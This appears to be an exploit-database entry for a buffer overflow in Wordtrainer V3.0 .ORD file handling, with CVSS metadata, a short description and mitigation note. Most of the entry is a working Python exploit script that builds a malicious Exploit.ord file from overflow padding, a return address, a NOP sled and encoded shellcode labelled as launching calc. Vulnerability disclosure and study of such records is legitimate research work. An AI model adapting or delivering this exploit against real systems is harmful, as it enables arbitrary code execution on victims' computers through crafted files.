Wordtrainer V3.0 .ORD File Buffer Overflow Vulnerability

vendor:

Wordtrainer V3.0

by:

C4SS!0 G0M3S

9.3

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: Wordtrainer V3.0

Affected Version From: 3

Affected Version To: 3

Patch Exists: YES

Related CWE: N/A

CPE: a:wordtrainer:wordtrainer_v3.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: WIN-XP SP3 Brazilian Portuguese

2011

Wordtrainer V3.0 .ORD File Buffer Overflow Vulnerability

Wordtrainer V3.0 is vulnerable to a buffer overflow vulnerability when processing specially crafted .ORD files. An attacker can exploit this vulnerability by crafting a malicious .ORD file and sending it to the victim, which will cause the application to crash and potentially execute arbitrary code.

Mitigation:

Update to the latest version of Wordtrainer V3.0 or apply the patch provided by the vendor.

Source

Exploit-DB raw data:

#!/usr/bin/python
#
#[+]Exploit Title: Wordtrainer V3.0 .ORD File Buffer Overflow Vulnerability
#[+]Date: 12\04\2011
#[+]Author: C4SS!0 G0M3S
#[+]Software Link: http://www.wordtrainer.net/software/files/wt307shw_exe/wt307shw.exe
#[+]Version: 3.0
#[+]Tested On: WIN-XP SP3 Brazilian Portuguese
#[+]CVE: N/A
#
#


from struct import pack
from time import sleep

print """ 
		Exploit Buffer Overflow Wordtrainer 3.0
		Created BY C4SS!0 G0M3S
		E-mail Louredo_@hotmail.com
		Site www.exploit-br.org

"""
buf = ("\x41" * 868)
buf += pack('<L',0x00430363)
buf += ("\x90" * 10)
buf += ("\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" 
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" 
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" 
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" 
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" 
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" #Shellcode WinExec("calc",0)
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" 
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" 
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" 
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" 
"\x7f\xe8\x7b\xca")
buf += "\x41" * (2000-len(buf))
head = ("\x47\x4C\x4F\x53\x4F\x52\x0D\x0A\x31\x0D\x0A\x0D\x0A\x20\x0D\x0A")

head += (buf+"\r\n")

print "[+]Creating the Exploit File..."
sleep(1)
FILE = open("Exploit.ord","wb")
FILE.write(head)
FILE.close()
print "[+]File Created With Success\n"
sleep(2)